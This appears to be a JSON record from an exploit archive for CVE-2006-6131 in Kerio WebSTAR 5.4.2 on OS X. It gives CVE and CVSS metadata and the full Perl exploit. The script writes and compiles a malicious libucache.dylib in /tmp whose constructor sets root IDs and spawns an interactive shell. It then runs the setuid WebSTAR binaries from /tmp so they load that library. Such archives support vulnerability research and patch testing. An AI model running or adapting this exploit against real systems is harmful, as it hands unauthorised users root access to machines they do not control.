{"exploit":{"id":"EDB-2788","name":"Kerio WebSTAR 5.4.2 (OSX) - 'libucache.dylib' Local Privilege Escalation (LPE)","description":"Kerio WebSTAR 5.4.2 (OSX) - 'libucache.dylib' Local Privilege Escalation (LPE)","cves":["CVE-2006-6131"],"author":"Kevin Finisterre","published":"2006-11-15","platform":"osx","type":"local","language":"Perl","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/2788","path":"exploits/osx/local/2788.pl","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-2788.pl","vulnerabilities":[{"id":"CVE-2006-6131","state":"PUBLISHED","title":null,"titleSource":null,"description":"Untrusted search path vulnerability in (1) WSAdminServer and (2) WSWebServer in Kerio WebSTAR (4D WebSTAR Server Suite) 5.4.2 and earlier allows local users with webstar privileges to gain root privileges via a malicious libucache.dylib helper library in the current working directory.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2006-6131","cvss":{"version":"2.0","baseScore":6.2,"severity":"medium","vectorString":"AV:L/AC:H/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2006-6131"},"updatedAt":"2024-08-07T20:19:33.955Z","retrievedAt":"2026-11-27T14:09:04.670Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-2788.png?v=2","url":"https://exploitbin.com/exploits/EDB-2788","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-2788/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-2788/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/perl\n#\n# http://www.digitalmunition.com\n# written by kf (kf_lists[at]digitalmunition[dot]com)\n#\n# you must have access to the webstar user or be in the admin group\n#\n# This is currently not patched... chmod -s your kerio binaries\n\nforeach $key (keys %ENV) {\n\n   delete $ENV{$key};\n\n}\n\n$tgts{\"0\"} = \"kerio-webstar-5.4.2-mac.bin - WSAdminServer:/Applications/Kerio WebSTAR/AdminServer/WSAdminServer\";\n$tgts{\"1\"} = \"kerio-webstar-5.4.2-mac.bin - WSWebServer:/Applications/Kerio WebSTAR/WebServer/WSWebServer\";\n\nunless (($target) = @ARGV) {\n\n       print \"\\n\\nUsage: $0 <target> \\n\\nTargets:\\n\\n\";\n\n       foreach $key (sort(keys %tgts)) {\n               ($a,$b) = split(/\\:/,$tgts{\"$key\"});\n               print \"\\t$key . $a\\n\";\n       }\n\n       print \"\\n\";\n       exit 1;\n}\n\n$ret = pack(\"l\", ($retval));\n($a,$b) = split(/\\:/,$tgts{\"$target\"});\nprint \"*** Target: $a, Binary: $b\\n\";\n\nopen(KP,\">/tmp/kerio_pwn.c\");\nprintf KP \"extern char * argv; __attribute__((constructor)) static void kerio_pwned()\\n\";\nprintf KP \"{ seteuid(0); setegid(0); setuid(0); setgid(0); system(\\\"/bin/sh -i\\\"); exit(0); }\\n\";\n\nsystem(\"gcc -dynamiclib -o /tmp/libucache.dylib /tmp/kerio_pwn.c -current_version 5.0.1 -compatibility_version 5.0.1 -install_name libucache.5.dylib -arch ppc\");\n\nsystem(\"cd /tmp; \\\"$b\\\"\");\n\n# milw0rm.com [2006-11-15]","sha256":"c78b4e1941507de42191793b9e11435a8de2fe99e6cd7eb3a285467d3ada19a6","bytes":1328,"fetchedAt":"2026-11-27T14:09:02.139Z","encoding":"utf-8 (display only; download retains original bytes)"}